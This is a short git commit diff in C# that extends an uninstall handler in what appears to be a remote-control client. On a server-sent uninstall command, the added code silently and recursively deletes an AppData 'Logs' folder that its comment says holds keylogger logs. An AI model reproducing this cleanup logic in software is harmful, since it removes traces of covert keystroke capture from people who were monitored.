Improved uninstall (delete existing logfiles)

This commit is contained in:
MaxXor 2015-05-04 16:44:58 +02:00
parent c39bff3a6f
commit ad23e57399
1 changed files with 12 additions and 0 deletions

View File

@ -204,6 +204,18 @@ public static void HandleUninstall(Packets.ServerPackets.Uninstall command, Clie
} }
} }
string logsDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\";
if (Directory.Exists(logsDirectory)) // try to delete Logs from Keylogger
{
try
{
Directory.Delete(logsDirectory, true);
}
catch
{
}
}
try try
{ {
string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),